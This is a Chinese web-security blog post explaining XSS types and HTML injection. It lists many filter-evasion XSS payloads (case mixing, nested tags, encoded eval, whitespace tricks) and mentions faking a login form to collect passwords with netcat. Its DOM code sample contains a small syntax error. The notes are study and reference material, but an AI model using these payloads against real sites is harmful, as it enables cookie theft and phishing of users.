WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入
零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、XSS:
1、本质:
XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。
2、分类:
//1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
/*https://www.test.com/XSS?string='一段js脚本'*/
<script>alert(1)</script>
//2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
/*https://www.test.com/XSS?store='一段js脚本'*/
<script>alert(1)</script>
/*https://www.test.com/show触发*/
//3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
<script>
function xssattack(){
var str = document.getElementById("text").value;
document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
}</script>
//如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。
3、危害:
(1)盗取Cookie
(2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
(3)增删改查用户可以增删改查的任何东西
(4)钓鱼甚至蠕虫(终极武器)
4、常见的payload:
(1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>
(2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>
(3)以上特殊字符编码成URL编码
(4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
(5)";alert(1);"【本身在<script>标签内】
(6)<img src=javascript:alert(1)>,<div style="{+...H">【或者hex、base64编码】,<script src='/filepath/filename'></script>
(7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>
(8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'
(9)alert()中()被过滤可以尝试使用``反引号
(10)url;<script>alert(1)</script>url反射
5、防御:
(1)过滤用户输入
(2)输出之前进行实体编码
二、更广泛的HTML注入:
1、本质:
向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。
2、payload:
<a href='http://www.baidu.com'>
paramwidth ="\" onload=alert(1)></ifrmae>//"
3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。
WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入的更多相关文章
- 实现手机扫描二维码页面登录,类似web微信-第三篇,手机客户端
转自:http://www.cnblogs.com/fengyun99/p/3541254.html 上一篇,介绍了二维码生成的机制,紧接着,我们就要开发手机客户端来识别这个二维码. 二维码,实际上是 ...
- Java Web学习(六)HttpServletRequest(客户端请求)
一.定义 HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有 ...
- 《手把手教你》系列技巧篇(四十六)-java+ selenium自动化测试-web页面定位toast-下篇(详解教程)
1.简介 终于经过宏哥的不懈努力,偶然发现了一个toast的web页面,所以直接就用这个页面来夯实一下,上一篇学过的知识-处理toast元素. 2.安居客 事先声明啊,宏哥没有收他们的广告费啊,纯粹是 ...
- 第六篇 :微信公众平台开发实战Java版之如何自定义微信公众号菜单
我们来了解一下 自定义菜单创建接口: http请求方式:POST(请使用https协议) https://api.weixin.qq.com/cgi-bin/menu/create?access_to ...
- Python之路【第六篇】:socket
Python之路[第六篇]:socket Socket socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字&quo ...
- [老老实实学WCF] 第六篇 元数据交换
老老实实学WCF 第六篇 元数据交换 通过前两篇的学习,我们了解了WCF通信的一些基本原理,我们知道,WCF服务端和客户端通过共享元数据(包括服务协定.服务器终结点信息)在两个 终结点上建立通道从而进 ...
- 跟我学SpringCloud | 第六篇:Spring Cloud Config Github配置中心
SpringCloud系列教程 | 第六篇:Spring Cloud Config Github配置中心 Springboot: 2.1.6.RELEASE SpringCloud: Greenwic ...
- Spring Cloud第六篇 | Hystrix仪表盘监控Hystrix Dashboard
本文是Spring Cloud专栏的第六篇文章,了解前五篇文章内容有助于更好的理解本文: Spring Cloud第一篇 | Spring Cloud前言及其常用组件介绍概览 Spring Cloud ...
- 实现手机扫描二维码页面登录,类似web微信-第四篇,服务器端
转自:http://blog.csdn.net/otangba/article/details/8273952 终于到了服务器端,第三篇的手机客户端如果已经下载了的话,没有服务器是不能正常运行的. 服 ...
随机推荐
- mac os x10.9.2 查看进程对应端口
以前在Ubuntu上,直接sudo netstat -nap 但是在mac 上这个命令还跑不通,sudo netstat -nap tcp 才行,结果还没有进程号.用lsof -Pn 解决了
- Zend Studio 配置
2.更改Zend字体 依次进入Window——Preferences——General——Appearance——Colors and Fonts——Basic——Text Font进行修改,偶还是喜 ...
- eclipse lua
eclipse中的ldt插件是Lua Development Tools,开发lua专用的插件: 1.点击help->install new softWare,输入http://luaeclip ...
- volatile关键字的介绍和使用
关键字volatile的主要作用是使变量在过个线程中可见 1.假设volatile不存在我们将会面对的问题 public class PrintString implements Runnable { ...
- Hadoop书签
1)http://www.cnblogs.com/forfuture1978/archive/2010/03/14/1685351.html 2)http://www.cnblogs.com/sund ...
- 关于Unity中的碰撞检测和管理(2D)
创建Unity3D项目和Unity2D项目的区别. 1.3D项目有摄像机和太阳光,2D项目只有摄像机 2.3D项目使用的贴图类型是Texture纹理,2D项目使用的贴图类型是Sprite 2D/UI ...
- 单精度浮点数(float)加法计算出错
场景: 一个float型的变量赋值1170601,加上19000000,结果出现错误. 原因: float占用4个字节(32位)存储空间,包括符号位1位,阶码位8位,尾数23位.浮点数精度与它的尾数有 ...
- e575. The Quintessential Drawing Program
To draw on the screen, it is first necessary to subclass a JComponent and override its paint() metho ...
- C++primer中 CacheObj实现(非常有意思)
//CacheObj.h #ifndef __CacheObj__ #define __CacheObj__ #include <iostream> #include <stdexc ...
- CPU性能判断指标---上下文切换,运行队列和使用率
http://blog.chinaunix.net/uid-15007890-id-3064254.html uptime11:35:08 up 21:57, 6 users, load aver ...